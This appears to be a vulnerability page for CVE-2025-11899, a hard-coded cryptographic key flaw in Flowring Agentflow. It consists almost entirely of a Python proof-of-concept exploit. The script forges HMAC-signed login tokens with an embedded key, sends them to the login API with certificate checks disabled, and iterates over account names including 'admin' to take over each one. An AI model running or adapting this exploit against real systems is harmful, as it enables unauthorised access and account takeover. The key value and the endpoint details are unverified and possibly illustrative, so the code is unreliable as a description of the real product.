CVE-2025-11899：Flowring Agentflow硬编码加密密钥漏洞

# CVE-2025-11899 PoC - Agentflow Hard-coded Cryptographic Key Exploit # Description: Exploits hard-coded cryptographic key in Flowring Agentflow # to forge authentication tokens and login as arbitrary users. import requests import hmac import hashlib import time import base64 import json TARGET_URL = "https://target-agentflow.example.com" HARDCODED_KEY = b"FlowringAgentflowSecretKey2024!" # Hard-coded key extracted from binary def forge_auth_token(user_id: str) -> str: """ Forge an authentication token using the hard-coded cryptographic key. The token mimics the legitimate server-side verification process. """ timestamp = str(int(time.time())) payload = f"{user_id}|{timestamp}" # Generate HMAC signature using the hard-coded key (same algorithm as server) signature = hmac.new( HARDCODED_KEY, payload.encode('utf-8'), hashlib.sha256 ).hexdigest() # Construct the forged verification token token_data = { "user_id": user_id, "timestamp": timestamp, "signature": signature } token = base64.b64encode(json.dumps(token_data).encode()).decode() return token def exploit_login(user_id: str) -> dict: """ Exploit the hard-coded key vulnerability to login as the specified user. Returns the server response containing session information. """ forged_token = forge_auth_token(user_id) headers = { "Content-Type": "application/json", "Authorization": f"Bearer {forged_token}", "User-Agent": "Agentflow-Client/1.0" } response = requests.post( f"{TARGET_URL}/api/auth/login", json={"user_id": user_id, "token": forged_token}, headers=headers, verify=False ) return { "status_code": response.status_code, "response": response.json() if response.ok else response.text, "forged_token": forged_token } def enumerate_and_exploit(user_id_list: list) -> list: """ Enumerate known user IDs and attempt login for each. In real scenarios, user IDs can be obtained via enumeration or data leaks. """ results = [] for uid in user_id_list: print(f"[*] Attempting to login as user: {uid}") result = exploit_login(uid) if result["status_code"] == 200: print(f"[+] SUCCESS: Logged in as {uid}") results.append(result) else: print(f"[-] FAILED: Could not login as {uid}") return results if __name__ == "__main__": # Step 1: Obtain valid user IDs (via enumeration, leak, or other means) known_user_ids = ["admin", "user001", "user002", "manager"] # Step 2: Forge tokens and exploit successful_logins = enumerate_and_exploit(known_user_ids) # Step 3: With admin access, perform post-exploitation if successful_logins: print(f"[+] Exploited {len(successful_logins)} accounts successfully") print("[+] Full system compromise achieved")